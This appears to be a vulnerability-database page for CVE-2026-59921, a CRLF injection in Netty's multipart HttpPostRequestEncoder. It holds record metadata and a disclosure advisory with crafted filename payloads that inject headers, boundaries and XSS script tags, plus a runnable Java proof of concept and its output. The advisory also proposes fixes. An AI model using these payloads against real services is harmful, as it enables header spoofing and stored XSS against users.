Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-59921 (GCVE-0-2026-59921)
Vulnerability from cvelistv5 – Published: 2026-07-28 22:28 – Updated: 2026-07-28 22:28
VLAI
EPSS
VEX
Title
Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
Summary
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Severity
5.7 (Medium)
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e=4.2.0.Final, \u003c 4.2.16.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.136.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations\u0027 setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-28T22:28:51.267Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
}
],
"source": {
"advisory": "GHSA-gcjf-9mgh-3p7g",
"discovery": "UNKNOWN"
},
"title": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-59921",
"datePublished": "2026-07-28T22:28:51.267Z",
"dateReserved": "2026-07-07T18:20:06.125Z",
"dateUpdated": "2026-07-28T22:28:51.267Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"nvd": "{\"cve\":{\"id\":\"CVE-2026-59921\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-28T23:17:09.923\",\"lastModified\":\"2026-07-28T23:17:09.923\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\\\r\\\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations\u0027 setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"netty\",\"product\":\"netty\",\"versions\":[{\"version\":\"\u003e=4.2.0.Final, \u003c 4.2.16.Final\",\"status\":\"affected\"},{\"version\":\"\u003c 4.1.136.Final\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N\",\"baseScore\":5.7,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"ADJACENT_NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.1,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-93\"}]}],\"references\":[{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g\",\"source\":\"security-advisories@github.com\"}]}}",
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-07-28T23:10:14+00:00",
"cve": "CVE-2026-59921",
"id": "CVE-2026-59921",
"initial_release_date": "2026-07-09T00:00:00+00:00",
"product_status:known_affected": "58",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "io.netty/netty-codec-http: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-59921.json",
"version": "3"
}
}
}
GHSA-GCJF-9MGH-3P7G
Vulnerability from github – Published: 2026-07-22 21:52 – Updated: 2026-07-22 21:52
VLAI
Summary
Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
Details
Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-http multipart) |
| Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |
| Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |
| CVSS 3.1 Score | 8.1 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (attacker must be able to upload files with controlled filenames) |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-http module are affected:
io.netty.handler.codec.http.multipart.HttpPostRequestEncoder— directly concatenates unvalidated filename/name intoContent-DispositionMIME headers (lines 519, 633, 674, 682, 686-688)io.netty.handler.codec.http.multipart.DiskFileUpload—setFilename()only checks null (line 78)io.netty.handler.codec.http.multipart.MemoryFileUpload—setFilename()only checks null (line 60)io.netty.handler.codec.http.multipart.MixedFileUpload—setFilename()delegates without validation (line 62)
3. Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
+ HttpHeaderValues.ATTACHMENT + "; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^ NO VALIDATION
The setFilename() method in all FileUpload implementations only checks for null:
// DiskFileUpload.java:77-79
public void setFilename(String filename) {
this.filename = ObjectUtil.checkNotNull(filename, "filename");
// NO CRLF VALIDATION
}
Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- The application uses Netty's
HttpPostRequestEncoderto construct multipart HTTP requests - The filename of an uploaded file is derived from user-controlled input
- The application does not perform its own CRLF sanitization on filenames
Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames
5. Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload(
"avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);
Wire format:
--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload
--"
content-type: image/jpeg <-- Original (now ignored by many parsers)
...
If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server
6. Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;
import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
/**
* PoC: HTTP Multipart Content-Disposition Header Injection via Filename
*
* Demonstrates that HttpPostRequestEncoder does not validate filenames
* for CRLF characters, allowing injection of arbitrary MIME headers
* into multipart form data.
*/
public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ===");
}
static void testFilenameInjection() throws Exception {
System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
System.out.println("-------------------------------------------------------");
// Create a temporary file for upload
File tempFile = File.createTempFile("test", ".txt");
tempFile.deleteOnExit();
try (FileWriter fw = new FileWriter(tempFile)) {
fw.write("test content");
}
// Malicious filename with CRLF to inject Content-Type header
String maliciousFilename =
"innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
"<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
new DefaultHttpDataFactory(false), request, true,
StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload(
"file", maliciousFilename, "application/octet-stream",
"binary", StandardCharsets.UTF_8, tempFile.length());
fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload);
encoder.finalizeRequest();
// Read the encoded multipart body
StringBuilder body = new StringBuilder();
while (!encoder.isEndOfInput()) {
HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
if (chunk != null) {
body.append(chunk.content().toString(StandardCharsets.UTF_8));
chunk.release();
}
}
encoder.cleanFiles();
String encoded = body.toString();
System.out.println("Malicious filename: " +
maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
System.out.println();
System.out.println("Encoded multipart body:");
System.out.println("---");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true");
boolean hasInjectedScript = encoded.contains("<script>");
System.out.println();
System.out.println("Injected X-Injected header: " + hasInjectedHeader);
System.out.println("Injected script tag: " + hasInjectedScript);
System.out.println("VULNERABLE: " +
((hasInjectedHeader || hasInjectedScript) ?
"YES - MIME header injection!" : "NO"));
tempFile.delete();
}
}
How to Compile and Run
# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
-Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
-Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
-Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body:
---
--88aaade41dbb9f9f\r
content-disposition: form-data; name="file"; filename="innocent.txt"\r
Content-Type: text/html\r <-- INJECTED
X-Injected: true\r <-- INJECTED
\r
<script>alert(1)</script>\r <-- INJECTED XSS
--"\r
content-length: 12\r
content-type: application/octet-stream\r
content-transfer-encoding: binary\r
\r
test content\r
--88aaade41dbb9f9f--\r
---
Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens |
| Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |
| Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content |
| Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back |
| Form Field Override | Inject new multipart boundaries to create/override form fields |
| Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
8. Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
ObjectUtil.checkNotNull(filename, "filename");
for (int i = 0; i < filename.length(); i++) {
char c = filename.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"filename contains prohibited CRLF character at index " + i);
}
}
this.filename = filename;
}
Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\r' || c == '\n' || c == '"') {
throw new ErrorDataEncoderException(
"Multipart parameter contains prohibited character at index " + i);
}
}
return value;
}
// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");
9. References
- RFC 2183: Content-Disposition Header Field
- RFC 7578: Returning Values from Forms: multipart/form-data
- RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters
- CWE-93: Improper Neutralization of CRLF Sequences
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
- GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
Severity
5.7 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59921"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` \u2014 directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` \u2014 `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` \u2014 `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` \u2014 `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n + HttpHeaderValues.ATTACHMENT + \"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n// ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder \u2014 SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder \u2014 CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty\u0027s `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n testFilenameInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n static void testFilenameInjection() throws Exception {\n System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n System.out.println(\"-------------------------------------------------------\");\n\n // Create a temporary file for upload\n File tempFile = File.createTempFile(\"test\", \".txt\");\n tempFile.deleteOnExit();\n try (FileWriter fw = new FileWriter(tempFile)) {\n fw.write(\"test content\");\n }\n\n // Malicious filename with CRLF to inject Content-Type header\n String maliciousFilename =\n \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n HttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n new DefaultHttpDataFactory(false), request, true,\n StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n DiskFileUpload fileUpload = new DiskFileUpload(\n \"file\", maliciousFilename, \"application/octet-stream\",\n \"binary\", StandardCharsets.UTF_8, tempFile.length());\n fileUpload.setContent(tempFile);\n\n encoder.addBodyHttpData(fileUpload);\n encoder.finalizeRequest();\n\n // Read the encoded multipart body\n StringBuilder body = new StringBuilder();\n while (!encoder.isEndOfInput()) {\n HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n if (chunk != null) {\n body.append(chunk.content().toString(StandardCharsets.UTF_8));\n chunk.release();\n }\n }\n encoder.cleanFiles();\n\n String encoded = body.toString();\n System.out.println(\"Malicious filename: \" +\n maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n System.out.println();\n System.out.println(\"Encoded multipart body:\");\n System.out.println(\"---\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"---\");\n\n boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n System.out.println();\n System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n System.out.println(\"Injected script tag: \" + hasInjectedScript);\n System.out.println(\"VULNERABLE: \" +\n ((hasInjectedHeader || hasInjectedScript) ?\n \"YES - MIME header injection!\" : \"NO\"));\n\n tempFile.delete();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n --88aaade41dbb9f9f\\r\n content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n Content-Type: text/html\\r \u003c-- INJECTED\n X-Injected: true\\r \u003c-- INJECTED\n \\r\n \u003cscript\u003ealert(1)\u003c/script\u003e\\r \u003c-- INJECTED XSS\n --\"\\r\n content-length: 12\\r\n content-type: application/octet-stream\\r\n content-transfer-encoding: binary\\r\n \\r\n test content\\r\n --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH \u2014 Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH \u2014 Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() 